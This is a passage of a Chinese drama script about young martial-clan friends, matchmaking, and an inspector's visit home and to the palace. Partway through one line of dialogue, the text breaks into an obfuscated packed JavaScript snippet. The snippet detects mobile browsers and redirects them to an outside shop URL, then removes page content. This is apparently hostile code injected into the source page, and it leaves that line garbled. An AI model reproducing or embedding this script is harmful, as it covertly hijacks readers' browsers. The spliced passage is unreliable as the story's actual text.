她知道洛宁向来喜欢养一些稀奇古怪的东西,想到这里,她赶紧丢掉玉佩,生怕它会突然张开嘴,咬掉自己的手指头。玉佩又咣当一声落在地上,转了几圈之后,便不动了。 春桃:欧阳小姐,您看看这几件怎么样? 春桃抱着一大堆衣裳走进屋里,她的视线被挡住,没发现地上的玉佩。情急之下,欧阳兰兰急忙用裙摆盖住它。 春桃:欧阳小姐,那边的屋子里还有不少衣裳,您要是喜欢的话,我都给您拿过来! 欧阳兰兰:好啊好啊,反正也没事儿做,不如每件都试试。 春桃:好嘞,您等着! 春桃出去后,欧阳兰兰再次蹲下身,检视那块玉佩,发现它并没有活过来,但上面的纹路,依旧在动。 欧阳兰兰:怎么会有这样的玉佩?我从小到大,上好的玉佩见过不少,但像这样能走会动的玉佩,还真是头一回见! 她仔仔细细地打量着玉佩,越看越喜欢:蓝色的底子配上白色的纹路,就像蓝天白云,美极了! 欧阳兰兰:这么漂亮的玉佩,天底下应该也不多见,这么稀罕的东西,怎么没听宁姐姐提起过?该不会她早就忘了吧? 想到这里,欧阳兰兰忽然起了贪心,见四下无人,她飞快地捡起玉佩,塞进怀里,冰凉的石头贴着她的胸口,令她不由得浑身一颤。 外面又传来春桃的声音。 春桃:欧阳小姐,我把衣裳全给您拿过来了,您快试试吧! 欧阳兰兰:哦,好的!(嘴里答应着,心中却有些不安)唉,我欧阳兰兰长这么大,还从来没干过这种事呢!不过话说回来,我又不是真想要她的,不过是见这块玉佩不一般,想拿回去玩两天罢了!反正宁姐姐也不知道,大不了过阵子我再给她送回来…… 想到这里,她也就不觉得自己有什么不对了,于是便拿起春桃给的衣裳,喜滋滋地试了起来。 梁州,郊外 2-58 原野上(日,外) 人物:洛宁、银华、金鹏、洛宇、洛思思、风巅巅 风巅巅的马一路领先,将众人的马远远地甩在了后头。 洛宁:银华,昨儿你打了巅巅的脸,今儿巅巅的马把你的马的脸给打了!哈哈! 银华:想让他停下来还不容易嘛,只需喊出四个字就行了! 洛宁:哦,哪四个字?恭喜发财吗? 银华:哈哈,不是!洛宇,来来来,咱俩一起喊!一二三!(和洛宇异口同声)香香公主! 这一喊果然奏效,风巅巅猛地刹住马。 风巅巅:(回头冲着他们笑)你们这两个家伙,简直太坏了! 银华:(对着洛宁)看见没?就这招最管用! 风巅巅:洛宇呀洛宇,你怎么把那件事告诉他了? 银华:(骂风巅巅)臭小子!我拿你当兄弟,你当我是什么?出了这么大的事,也不告诉我一声…… 洛宁:什么事呀?他跟香香公主怎么了?(突然意识过来)呀,该不会…… 银华:哈哈,咱们家的巅巅,差点儿就成了可汗的女婿! 洛宁:差点儿?什么意思?到底是成了还是没成? 洛思思:(问风巅巅)巅巅,你不是说这种事强求不来吗?怎么又答应了? 风巅巅:根本没那回事儿!你俩别听他胡说! 银华:我胡说?风巅巅,你自己说说,如果那天你喝了那壶酒,会怎样?还敢不敢说这句话? 洛宁:什么酒?王母娘娘的琼浆玉液吗? 银华:比那个更好!(冲着风巅巅挤挤眼)是不是呀风巅巅? 风巅巅:你要是想喝的话,回头我让香香公主也给你弄一杯。 银华:那可是香香公主的绝招,怎么可能轻易示人?也就只有在见到你时,才会使出来!哈哈! 洛宁:噢,我好像有点儿明白了!巅巅,香香公主是不是给你下药了? 银华:哈哈,说对了!香香公主知道咱们家的巅巅离了酒没法儿活,那日便往他的酒里掺了些东西…… 洛思思:什么东西? 洛宇:甜妞儿,你一个女孩子,还是别问了,总之不是什么好东西。呵呵! 洛宁:巅巅,你中招了没? 银华:他要是中招了,这会儿还能这么潇洒地跟着咱们一起骑马吗? 洛宇:是啊,所以说他的运气实在是太好了!他自打会喝酒起,酒壶就从来不离身,谁知道那天偏偏就忘了带,结果那壶酒被甘信偷喝了。香香公主在帐篷里左等右等,不见巅巅的人影儿,气呼呼地走了。等我们第二天从哀鸣河回来时,见甘信正撅着屁股、搂着他的枕头呼呼大睡呢!哈哈! 银华:(笑着问风巅巅)巅巅,有了这回的教训,以后还敢贪杯不? 风巅巅:酒还是要喝的,只不过香香公主给的酒,我是不敢再喝了。哈哈! 年轻人们在外面疯玩,直到深夜方才回去。 2-59 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、春桃 第二天,洛宁睡到很晚才起来,听春桃说,欧阳兰兰大清早便走了。 洛宁:咦,她不是说要多玩两天再回去吗?怎么这么快就走了? 春桃:也许是想家了吧。 洛宁:她又不是头一回来这里住,以往都是他哥来接她时,她才肯回去。 春桃:也许她还想去别处玩呢? 洛宁:嗯,也是。这丫头的朋友太多了,哪怕是每天换一个地方,一年到头也住不完。呵呵! 天地会也放假了,弟子们纷纷收拾行李,回乡探亲。偌大的府邸,顿时冷清了许多。 2-60 天地会总会,听雨轩(日,内) 人物:洛青、洛宁、洛思思、风无行、顾云飞 洛青在教洛思思绣荷包,洛宁在旁边作陪,她一会儿瞅瞅洛青,一会儿又瞅瞅洛思思,不住地偷笑。 洛青:宁儿,你笑什么呀? 洛宁:嘻嘻,姐,我只是觉得挺奇怪,为何同样的针线到了你的手里,就能变出一朵花、一支如意,可到了甜妞儿的手里,就变成了…… 洛思思:(红着脸打断)别说了!别说了!我知道我绣的很丑…… 洛青:(安慰洛思思)刚开始学的时候,都是这个样子。(又呵斥洛宁)你这个丫头,自己不会绣也就罢了,还有脸笑人家? 洛宁:(模仿欧阳兰兰的口吻)用欧阳兰兰的话说,像这种东西,在我们府里,只有下人才会做。我虽然不会绣,但我有钱,可以去街上买…… 洛青:(无奈地叹了口气)唉,真不知到底是你把兰兰给带坏了、还是兰兰把你给带坏了。 洛思思:其实欧阳兰兰说得也没错,与其费老大的劲儿绣半天,还不如去街上买一个了…… 洛青:甜妞儿,你胡说什么呢!自己做的和别人做的,能一样吗? 洛思思:我若不说的话,谁敢说这不是我做的? 洛青:你…… 洛宁:(哈哈大笑)姐,这下你明白了吧?不是谁都像你一样,事事亲力亲为! 洛青:你们这个两丫头,不想学就罢了,别找借口! 洛思思:青儿,不是我不想学,实在是这东西对我来说,太难了! 洛青:不就是绣一个小小的荷包吗?能有多难! 洛宁:你天天做这个,当然不觉得难了。可这东西对我和甜妞儿来说,简直太难太难太难了! 洛思思:是啊,我的两只眼睛都快瞅瞎了,还有我的十个手指头,全被针给扎破了! 洛青:那是因为你俩太笨了! 洛宁:(不服气地)哼,我从小到大,还没人敢说我笨,除了你!哦,还有云飞大哥,你俩肯定是一伙儿的! 洛青:是你太不知趣了!你也不瞧瞧,天地会上上下下,谁敢招惹他?谁见了他不是规规矩矩、客客气气的,连个大气都不敢出。只有你,成天在他面前上蹿下跳、撒泼耍横,非要闹得他火烧眉毛,把你给收拾了,方才消停。 洛思思:天呐!宁儿,你连顾堂主都敢惹?真了不起! 洛宁:甜妞儿,你可是在军营里长大的,凭你一身过硬的功夫,还有老五爷给你撑腰,应该天不怕地不怕才对!怎么也跟他们一样,害怕云飞大哥呢? 洛思思:我也不知道为什么,反正我一见到他,心里总有些怕怕的。 洛宁:其实云飞大哥这个人并不坏,他只是不爱热闹罢了。 洛思思:除了顾堂主之外,我每次见到你爷爷,也有些怕怕的。 洛宁:我爷爷跟你爹可是亲兄弟,你连你爹都敢怼,为何会怕他? 洛青:她要是像你这样谁都不怕的话,以后怎么跟公公婆婆相处? 洛宁:嘻嘻,甜妞儿,我姐要给你说媒了! 洛青:甜妞儿,我问你,你在军营里,有没有喜欢的人? 洛思思:喜欢的人? 洛青:对呀,有没有? 洛思思:我爹、我娘、还有我的妹妹们…… 洛青:除了他们之外,有没有? 洛思思:(想了想摇摇头)这个嘛……好像没有。 洛青:那有没有人喜欢过你呢? 洛宁:(跟着补充)除了你爹、你娘、还有你的妹妹们之外。 洛思思:这个就更没有了。 洛青:不会吧!军营里那么多好男儿,难道你一个都瞧不上吗? 洛思思:青儿,他们都是我的好兄弟,我对他们没那种想法,他们对我也一样。 洛青:风巅巅呢?他总行吧? 洛宁:甜妞儿要是跟风巅巅好上了的话,香香公主肯定会拿鞭子来抽她。 洛青:香香公主? 洛思思:她是草原上一个部落的公主,经常跟着她爹来咱们军营里。她特别喜欢风巅巅,每回来了都会缠着他不放。 洛青:风巅巅呢?也对她有意吗? 洛宁:风巅巅那个家伙,这辈子只有一个真爱。 洛青:谁? 洛宁:酒呀! 洛青:(皱起眉头)难怪他哥一提起他,就不住地唉声叹气,原来他也这么不省心呀! 洛宁:甜妞儿,听见没?快把自己嫁出去吧! 洛青:(瞅着洛宁)你呢? 洛宁:我要留下来给我哥做伴儿呢! 洛青:你们这两个家伙,一个不愿娶,一个不肯嫁,一大一小,没一个正经!哼! 洛宁:(反问洛青)那你呢? 洛青:(脸微微一红)我们正在说甜妞儿的事,你别打岔!(又问洛思思)甜妞儿,那你说说,喜欢什么样的男子? 洛思思:喜欢什么样的男子?青儿,男人不都是一个样儿吗? 洛青:一个样儿?为何这么说? 洛思思:我见过的男人,都是一个样儿。若非要说有什么不同的话,顶多就是好人和坏人、朋友和敌人之分。 此话一出,洛宁和洛青都笑了。 洛青:呵呵,甜妞儿,你果然还是太单纯了!宁儿,你来给她讲讲。 洛宁:嘻嘻,甜妞儿,我姐的意思是,你是喜欢像我哥那样英俊潇洒的类型,还是喜欢像无行大哥那样温文尔雅的类型,又或者你的口味儿比较重,喜欢像云飞大哥那样喜怒无常,虽然脸上正对你笑嘻嘻,其实心里一直在盘算着怎么弄死你的类型…… 话没说完,她的脖子被一只冰凉的大手从后面掐住,疼得她直叫唤。 洛宁:啊——疼!(回头一看)云飞大哥?你怎么来了? 风无行:(来到她们的对面坐下)是我把他叫过来的。 洛宁:你们什么时候来的?我怎么不知道? 洛思思:他俩刚刚才进来,你背对着门没看见。 洛宁:(对着顾云飞和风无行抱怨)你俩还是不是人呀?怎么走起路来一点儿声音都没有? 顾云飞:怎么?你说我的坏话,还怕我听见了? 洛宁:(假装不解)我说你的坏话了吗?云飞大哥,你是不是听错了? 顾云飞:噢,原来是我听错了呀? 洛宁:对呀,云飞大哥,你对我这么好,我怎么会说你的坏话呢?姑娘我向来口吐芬芳,只说好话、不说坏话。我说的每一句话,都是在夸你哟! 顾云飞:噢,原来你说我喜怒无常,是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007363|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸我呀? 洛宁:对呀,云飞大哥,同样的词儿,用在不同的人身上,效果是不一样的。喜怒无常这个词儿,用在别人的身上,可能不太好听;但用在你的身上,一下子就变得高大上了! 洛青:(扑哧一笑)呵呵,真是个马屁精呀! 顾云飞的手稍一用力,洛宁再次疼得大叫起来。 洛宁:啊——疼疼疼!云飞大哥,你轻点儿,我的脖子要断了! 顾云飞:臭丫头,真以为我傻呀! 洛青:宁儿,快低个头认个错吧! 洛宁:我的脖子被他掐着,怎么低头呀? 顾云飞:(又稍一用力)怪我了? 洛宁:啊——疼死了!云飞大哥!我错了,你饶了我吧! 顾云飞:那你知道自己错在哪儿吗? 洛宁:(可怜巴巴地瞅着他)我……不该说你的坏话。我错了!求你原谅我吧! 顾云飞:哼,这还差不多! 顾云飞松开手,洛宁揉着被掐红的后颈窝,嘴里不高兴地嘟哝着。 洛宁:哼,果然是老虎的屁股摸不得呀! 顾云飞:(脸倏地一沉)你说什么?是不是又想挨揍? 洛宁飞快地躲到了洛青和洛思思的身后,冲着他做了个鬼脸。 洛青:你呀你,真是活该! 洛宁:(对着洛青和洛思思)你们这两个家伙,一点儿也不够义气,明知他来了,也不告诉我一声。 洛青:你管不住自己的嘴,怨谁呢! 顾云飞瞪了洛宁一眼,走到桌前坐下,拿出茶壶,煮水泡茶。 洛宁:云飞大哥,你想喝茶的话,大可以留在恩威堂里,来这里干嘛? 风无行:一个人喝茶多没意思,更何况你不也在这里吗? 洛宁:哼,无行大哥,我就知道你是故意的! 风无行:(呵呵一笑)丫头,你们刚才在聊些什么? 洛宁:我姐正在给…… 洛青:(打断)宁儿,那件事咱们以后再说! 洛宁:怕什么呀?这里又没有别人! 洛思思:是啊!男婚女嫁是每个人都要经历的事情,我爹平常跟我说这个的时候,从来都不避人的! 风无行:呵呵,不愧是老五爷的女儿,直爽的性子跟老五爷一模一样! 洛宁:对呀,甜妞儿,你快说吧,想找一个什么样的男子做你的相公呀? 洛思思:(一时不知该如何回答)我…… 洛青:甜妞儿,你爹是怎么说的? 洛思思:他只说,让我不要嫁给一个习武之人。 洛青:哦,为何? 洛宁:是啊,不嫁给一个习武之人,难不成要嫁给一个书呆子吗? 洛思思:书呆子也不错嘛!在我家里,除了我娘之外,个个都会功夫,就连我那个最小的、刚学会走路的妹妹,也懂得拿根棍子比划比划样子。所以,不能再多一个习武之人了! 洛青:嗯,也是。可如果他两耳不闻窗外事、一心只读圣贤书的话,要靠什么来养家糊口呢? 洛宁:可以去当官嘛,这样的话,甜妞儿就可以当官太太了! 洛青:宁儿,不是每一个读书人都能当上官! 洛宁:那就去教书! 洛青:有学生的话,还能有点儿收入,若是没学生呢? 洛宁:代写书信呢? 洛青:青葵街上每走两步都有一个这样的摊位,你觉得他一天下来能挣多少? 洛宁:还可以著书立说嘛! 洛青:你读过谁的书? 洛宁:曹溪的怎么样?我最近正在读他的《小西天游记》,里面的文字就像一副山水画,美极了! 洛青:曹溪是前朝人,他的书出名时,人早就死了。就算还在世,若有一句话说的不对,也会给自己和家人带来很多麻烦。 洛宁:姐,听你这么一说,读书好像没什么出路呀,那又为何要读书? 洛青:不读书能干嘛?去种田吗?那样就更没出路了! 洛思思:我有军饷,我娘也给我准备了一份嫁妆,就算他不挣钱,有这些也够了! 洛青:呵呵,甜妞儿,你可真天真!你一个女孩子,怎么可能在军营里待上一辈子?还有就是,你娘给你准备的嫁妆再多,也不够你们用一辈子呀! 洛宁:除非你是欧阳兰兰! 此话一出,众人都笑了。顾云飞那边水也烧开了,见他正在泡茶,洛宁急忙凑过去,冲着他甜甜一笑。 洛宁:云飞大哥,给我一杯尝尝呗! 顾云飞:不给! 洛宁:我都已经给你道过歉了,你怎么还在计较呀? 顾云飞:我没计较呀,可我就是不给! 洛宁:云飞大哥,我知道在这些人里面,你最疼我了!就一杯,好不好? 顾云飞:一杯也别想! 洛宁:云飞大哥,你就给我来一杯嘛!来一杯嘛! 她不住地摇晃着他的胳膊,弄得他也没法端起杯子。 顾云飞:得得得,你别晃了,再晃全洒了!给给给,真拿你没办法! 他递给她一杯,她喜滋滋地抿上一口,竖起大拇指。 洛宁:嘻嘻,不愧是云飞大哥,泡茶从来不失手! 风无行:(笑望着洛宁)呵呵,会哭的孩子果然有奶吃! 洛宁挨着顾云飞坐下,听她们接着往下说。 洛思思:我会功夫!舞枪弄棒,样样在行,一点儿都不输给男人! 洛青:那你是不是打算走上街头卖艺呀? 洛宁:开镖局做镖师也不错哟! 洛思思:咦,这个主意好! 洛青:(白了洛宁一眼,对着洛思思)别听她的!你觉得好,你爹娘未必乐意。自古以来都是男主外、女主内,你一个女孩子,还是尽量少抛头露面! 洛宁:(模仿洛青的口吻,摇头晃脑地)尤其在成亲之后,更要一心一意地相夫教子,恪守为人妻、为人母的本分。姐,我说的对不对? 洛青:(没好气地)这样难道有错吗? 洛宁:没错呀!姐,我还要谢谢你呢!若不是你成天拿这些老祖宗的规矩来教训我,我还真不知道原来独善其身有这么多的好处呢!(用手托着下巴,冲着顾云飞挤挤眼)是不是呀,云飞大哥? 顾云飞:(捏了下她的鼻头)不说话没人当你是哑巴! 这边,洛青又接着说。 洛青:甜妞儿,奉劝你一句,不管你未来的夫君是习武之人还是读书之人,最重要的是他有没有担当,能否凭一己之力撑起一个家! 洛思思:什么意思呀? 洛宁:说得简单点儿,就是他养你呗! 洛思思:我能养我自己,用不着他来养! 洛青:你用不着他来养,但你们的孩子他总要养吧? 洛宁:姐,你想得可真远! 洛青:一旦成了亲,两口之家很快会变成三口、四口甚至五口之家,还有家中的二老,该如何奉养?你想过没? 洛思思:这个……我还真没想过。 洛青:唉,甜妞儿,你知道男婚女嫁为何自古以来都被称作人生大事吗?因为它不仅关系到一个人的幸福,更关系到一家人的幸福。所以你不能只看眼前、只顾自己,必须把所有的事情都考虑周全! 洛宁:等考虑周全了,人都老了…… 洛青:宁儿,闭嘴! 洛宁吐吐舌头,嘻嘻一笑。 洛思思:青儿,要不你给我出个主意,看我应该找一个什么样的男子做我的相公呢? 洛宁:(抢先回答)要我说,你还是找一个同道中人吧!如果嫁给一个读书人,他成天满嘴的之乎者也、你成天满嘴的呼呼喝喝,他念的你听不懂、你练的他也看不明白,两个人没有共同点,怎么相处一辈子? 风无行:宁儿说得也在理。甜妞儿,你爹的军营里不是有那么多的好男儿吗?你从他们中间挑一个不就行了! 洛思思:可我还是想嫁给一个读书人,我喜欢他们身上的那种书生气,看上去特别有教养,不像我们这些习武之人,一个个五大三粗,没一点儿气质。 洛青:读书人也不是不好,只是不能太过迂腐。 洛宁:这个谁知道呢?媒婆的嘴里,把每个人都夸成了一朵花…… 洛青:那就不找媒婆,咱们自己给甜妞儿说一个好相公! 洛宁:谁呀? 洛青:(想了想)那个……寒冰怎么样? 洛宁:(扑哧一笑)姐,你就放过寒冰吧!他读的是医书,不是四书五经! 洛青:医书也行嘛!甜妞儿,你觉得呢? 洛思思:(面露难色)能不能换一个呀? 洛青:你…… 洛宁:既要是个读书人,还要人品好。甜妞儿,你这条件看似简单,其实挺苛刻哟! 风无行:(对着洛宁)丫头,你们督察府里不是新来了一个白面书生吗?我看他倒是挺斯文,合乎甜妞儿的要求。 洛宁:你说的是黄毅吧?他的岁数跟甜妞儿差不多,人长得俊,尚未婚配,又文武双全。(点点头)嗯,还真是一个不错的人选呢! 洛青:既然这样,咱们就找个机会,让他俩认识一下,兴许有缘分呢! 洛宁:这会儿不行,他跟张大哥回京城过年去了,你想给他俩做媒的话,只能等年后了。 洛青:没关系!反正甜妞儿也不急着回北疆,等一等也无妨。 洛宁:那行!等他回来了,咱们就让他俩见一面试试,希望能成! 洛青:(笑着对洛思思)甜妞儿,你听见没?如今天时地利具备,就只待人和了! 17. 第二篇 总会的四个堂 京城 2-61 张府,前院(日,外) 人物:张正清及其父母 张正清回京城过年,父子俩见面的第一件事,便是切磋武艺。 张父:老规矩! 张正清:(抱拳笑)呵呵,请爹爹赐教! 顾及父亲年迈,张正清处处手下留情,这让张父很不高兴。 张父:臭小子!你是不是觉得爹爹我老了,打不过你了?你若再不使出真功夫,我可就要动用家法了! 张母:(上前劝)老爷!儿子好不容易才回来一趟,你就让他歇歇吧! 2-62 张府,合欢厅(日,内) 人物:张正清及其父母 一家人进屋坐下,饭菜已经备好,都是父子俩爱吃的东西。 张父:(皱眉)咦!怎么没有酒? 张母:章太医不是交代过了吗,让你少喝酒。 张父:夫人,这就是你的不对了!你刚才不也说了吗?儿子好不容易才回来一趟,咱们爷俩这么久没见面,能不好好地喝一杯吗?再说了,过几日就是除夕,若没了酒,来年怎能过得痛快? 张正清:是啊,娘!小酌怡情,这么冷的天,您就让我们喝杯酒暖暖身子吧! 张母:唉,你们这对父子,怎么都那么贪杯呀?罢了,看在要过年的份上,我给你们拿酒来! 张母命人取来好酒,一家人边吃边聊。 张母:清儿,你明天进宫面圣,记得去探望一下慧月。 张正清:(漫不经心地)哦,好。 张母:别光顾着说好,你从凤凰城回来,有没有给人家带什么东西? 张正清:娘!慧月是公主,什么都不缺,哪里用得着我给她带东西呀! 张母:千里送鹅毛,礼轻人意重。她虽然什么都不缺,但你送给她的东西,对她来说,就是跟别的不一样。 张正清:那我就更不敢送了,免得她想多了。 张母:你这个孩子,怎么不听话呀?娘问你,你打算什么时候给咱们张家添一个大孙子? 张正清:该有的时候自然会有,着什么急呀! 张母:能不着急吗?你都多大岁数了?你瞧瞧你身边的同龄人,哪个没当爹呀? 张正清:娘,我小时候您不是总嫌我烦吗?如今我去了凤凰城,您终于可以过上几天清静的日子,若再添一个大孙子,岂不是又要闹腾了? 张母:隔代亲嘛!我嫌你烦,但我绝对不会嫌我的大孙子烦。再说了,你一个人远在凤凰城,身边连一个照顾你的人都没有,累了、渴了、饿了、病了都没人管,多可怜呀! 张正清:我又不是小孩子,能照顾好自己,您别担心! 张母:那你总要为我和你爹想一想吧!你不在家里,我和你爹成天你瞪着我、我瞪着你,多没意思呀! 张正清:您要是觉得没意思,就出去走走,或者到曹夫人、魏夫人家里串串门,又或者进宫找大姨说说话…… 张母:我才不去呢!她们一个个都儿孙满堂,我去了只会眼红。 张正清:唉,那可怎么办呀? 张母:怎么办?你赶紧把慧月娶回来,给咱们张家添一个大孙子,到那时,你们爷俩想找我,我还没空呢! 张正清:(不耐烦地)娘,您怎么又把我和慧月往一块儿凑呀?不是跟您说过了吗?我对她只有兄妹情…… 张母:兄妹情不也是情吗?宫里宫外,谁不说你俩最般配?人家慧月等了你这么多年,你可别辜负了人家! 张正清:唉,得得得!我吃饱了,您俩慢慢吃,我先回屋去了!(起身走了) 张母:唉,这个孩子,怎么一提起这个就闪烁其词呀? 张父:(皱着眉头不满地)夫人呐!我这一杯酒还没下肚,你怎么就把儿子给气跑了?谁来陪我喝酒呀? 张母:(用指尖戳了一下他的额头,没好气地)酒酒酒!你的眼里只有酒,真是一个不折不扣的酒鬼!哼! 2-63 皇宫,太子殿(日,内) 人物:张正清、黄靖、慧月公主、全公公 张正清进宫面圣,顺道去探望太子黄靖。没等他进屋,黄靖已先走了出来,笑着朝他张开双臂。 黄靖:正清,我的好兄弟,你可算是回来了,想死我了! 张正清:(故作嫌弃地推开他)去去去!两个大男人这副样子,不嫌膈应吗? 黄靖:想不膈应是吧?好说!咱俩再重来一遍,我回去坐下,你进来给我磕三个头,叫一声太子殿下。怎么样? 张正清:已经行过礼了,还重来什么呀?再要行礼的话,就只能告辞了! 黄靖:你行过礼了吗? 张正清:对呀,我刚才不是冲你点了点头吗? 黄靖:这样也算? 张正清:怎么不算?咱俩谁跟谁呀! 黄靖:可我没看见! 张正清:我这就去找章太医,让他过来给你瞧瞧眼睛,千万别耽误了!(转身要走,被黄靖拦住) 黄靖:张正清呀张正清,你在督察府里,是不是天天跟流氓无赖打交道呀? 张正清:对呀,怎么了? 黄靖:难怪你越来越像他们!哼! 张正清呵呵一笑,全公公给他们端来茶水。 全公公:张大人,这是您最爱喝的白露相思,殿下特意命奴才给您准备的。 张正清:(笑着问黄靖)你还记得这个? 黄靖:好东西我不都给你留着吗?走吧,进去坐坐。 二人进屋坐下,全公公又给他们端来茶点。 黄靖:怎么样?你在那边一切可好? 张正清:嗯,还不错! 黄靖:听说你办了不少案子? 张正清:都是些分内之事,我去凤凰城之前,不也在干这个吗? 黄靖:听说你还给自己找了一个贤内助?这个以前你总没干过吧? 张正清:贤内助? 黄靖:少跟我装蒜! 张正清:谁呀? 黄靖:还能是谁?不就是那个从聚胜古都来的大美女吗? 张正清:噢,她呀!你听谁说的?黄毅吗? 黄靖:我这个小皇弟,来宫里三天,跟我说了足足三天关于她的事。你说我能不好奇吗?她长什么样子?是像她爹多一些、还是像她娘多一些? 张正清:各占一半吧。 黄靖:各占一半?什么意思? 张正清:你不是有孩子吗?他是像你还是像你媳妇? 黄靖:咱们沉香国也曾向聚胜古都派遣过使节,可惜在海上迷了路,无功而返。所以我很想知道,她到底长什么样子? 张正清:你怎么不去博州那边看看呢?那里有很多从聚胜古都来的人。 黄靖:又在卖关子?罢了,我还是去问黄毅吧。 张正清:你一个堂堂的太子,问这个干嘛?不嫌丢人吗? 黄靖:那你就告诉我呗! 张正清:唉,怎么说呢!若说她像咱们沉香国的人吧,她又不是特别像,尤其是那双眼睛,一看就知道不是本地人;若说她不像咱们沉香国的人吧,她的发色又跟咱们一模一样,黑得透亮。 黄靖:哦,那就是随她爹了。 张正清:长相还在其次,她的行事作风,才真正令人意外呢! 黄靖:呵呵,这下领教了吧?我听说聚胜古都的女子,跟咱们沉香国的女子,完全不是一码事儿!她们自打一出生,就跟国内的男人一样,男人们读什么书,她们也读什么书,男人们干什么事,她们也干什么事。女人与男人分庭抗礼,这在咱们沉香国,完全是不可理喻的事! 张正清:是啊!所以那丫头自打来了督察府,天天跟我顶嘴,只要她认为对的事,我想说服她,简直比登天还难! 黄靖:你若嫌她不好,大可以让她回去。 张正清:督察府不是一言堂,能听到不同的声音,未尝不是件好事。 黄靖:如果你俩各持己见,最后谁先让步? 张正清:(眉毛一挑)我是她的上司,当然是她先让步了! 黄靖:啧啧,张正清,你可真是一点儿也不懂得怜香惜玉呀!哈哈! 喝了口茶,二人接着聊。 黄靖:什么时候有空?咱俩好好地聚一聚! 张正清:跟你喝酒没意思,还是算了吧。 黄靖:像你那样喝酒的人,天底下能有几个呀?不多说了,就今晚! 张正清:别呀!过年就这么几天的工夫,我还想多陪陪爹娘呢。 黄靖:嗯,也是。以前你在京城,咱俩天天都能见面;可现在不一样了,你去了凤凰城,一年难得回来一趟,你娘每回进宫,都在我母后面前念叨着你呢。 张正清:是啊,所以我想多陪陪她,尽一尽做儿子的孝道。 黄靖:你若真想尽孝,赶紧把慧月娶了,这才是你娘的心头大事。 张正清:你这个家伙!别人不了解我,你还不了解我吗?我若真想娶她,又何必等到现在? 黄靖:呵呵,我知道!你一直当她是妹妹,从没动过那方面的念头,可人家慧月不这么想啊! 张正清:所以我才头疼这件事嘛!昨晚吃饭的时候,我娘就一个劲儿地催婚,今儿你又拿这个来烦我,唉! 黄靖:哈哈,这有什么好烦的?大不了先把她娶回去,以后遇上喜欢的女子再娶呗! 张正清:你呀你,跟那些老夫子一样,是个老顽固!哼! 黄靖:我是太子,身不由己嘛!我也想像你这般洒脱,可惜没机会!不过话说回来,你可以一辈子不娶,但慧月能一辈子不嫁吗?你这边一直拖下去,坚持不肯娶;慧月那边一直等下去,坚持不肯嫁。早晚有一天,万贵妃会求父皇给你俩赐婚,到那时我看你怎么办! 张正清:爱怎么办怎么办,反正我是不会娶她的! 黄靖:唉,你可真倔呀,跟小时候一个样儿,一点儿没变! 张正清:不过我这次回来,想跟她讲个明白…… 黄靖:等等!你说什么?讲个明白? 张正清:对呀,她也不小了,该找个归宿了…… 黄靖:那你可要想清楚了!这事要是闹到了万贵妃那里,可不太好收场呀! 张正清:随她去吧,反正这一天,早晚都会来! 黄靖:你是做好了准备,可我还没做好准备呢! 张正清:关你什么事呀? 黄靖:牵一发而动全身!你以为这只是你跟慧月两个人之间的事吗?错了!大错特错了!…… 张正清:(摆手打断)得得得!我知道你想说什么,你不就是跟我娘一样,想劝我早点儿娶她吗? 黄靖:我可没说这个!身为你的好兄弟,我当然希望你能娶一个情投意合的女子为妻;但作为太子,你要是敢拒绝慧月,我跟你没完! 张正清:我这就去找她!我看你能怎样!哼! 张正清气呼呼地站起来,这就要往外走,黄靖忙上前拦住他。 黄靖:喂喂喂,你干什么呀?大过年的,你是不是非要闹得大家都不得安宁呀? 张正清:这不都是被你们逼得吗?只要我一回来,你们就跟我说这事。你身不由己,我就身由己呀?你们不让我痛快,你们也别想痛快!哼! 黄靖:得得得,怪我说错了!不过张正清,我这个妹妹究竟哪里不好,你怎么就不动心呀? 张正清:她样样都好,怪我没福气!行了吧? 黄靖:唉,罢了,不谈这事了,说点儿别的吧。 二人又回去坐下,还没说上两句话,全公公进来禀报。 全公公:殿下,大公主来了! 黄靖:呀,这可真是说曹操曹操到! 张正清:呵呵,宫里头的消息传得可真快!我这边刚进来,她那边就知道了。 黄靖:好歹她也是个公主,你就当是给我点儿面子,别把话说得太过了! 张正清:你呀你,就只会搅浑水!哼! 慧月公主从外面进来。她的模样十分端庄,一举一动优雅得体。见到黄靖,她先是低头作礼,当看到张正清时,又假装很意外。 慧月公主:皇兄!咦,正清哥哥?你也在呀? 张正清:哦,慧月,好久不见! 黄靖:可不是嘛!你这一年都没回来,人家慧月每次见到我,都在问你呢!(问慧月公主)慧月,你怎么来了?有事吗? 慧月公主:皇兄,这是前阵子慧月从你这里借走的一幅画,已经临摹完了,特来归还。 黄靖:像这种小事,你让身边的奴才去做就行了,哪里用得着亲自跑一趟呀? 慧月公主:今日的阳光正好,慧月也想出来走走。 慧月公主一边说,一边羞答答地瞅了一眼张正清,黄靖见状,立刻明白了她的意思。 黄靖:哦,这样啊。那个……正清,你刚才不是说想约慧月出去玩吗? 张正清:(倏地一愣)我说了吗?(瞪了黄靖一眼)你别胡言乱语! 慧月公主:(红着脸笑)嘻嘻,正清哥哥,你怎么跟慧月想到一块儿去了? 黄靖:嘿嘿,这就叫心有灵犀一点通嘛!慧月,我平常约你出去,你都不肯;怎么他一回来,你立马就答应了? 慧月公主:皇兄辅佐父皇日理万机,十分辛苦,慧月不敢叨扰,还是让正清哥哥来陪我吧!更何况,他不在的这段日子,京城里也发生了不少变化,是该到处去看一看了。 黄靖:(冲张正清使了个眼色)听见没?人家在等着你开口呢! 张正清:(一副被逼无奈的样子)唉,行吧!慧月,你什么时候有空…… 慧月公主:(忙不迭回答)我天天都有空! 黄靖:这么好?(笑着拍拍张正清的肩膀)嘿嘿,我就说你俩有缘吧! 张正清:(不悦地瞅着黄靖)你呢?也跟着一块儿去吧! 黄靖:呀,真不巧!我还有点儿事,你俩去吧,我就不去了! 张正清的脸上露出一抹坏笑,仿佛在说:“那敢情好!你不在,我就跟她摊牌了!”见他神色不对,黄靖立马改口。 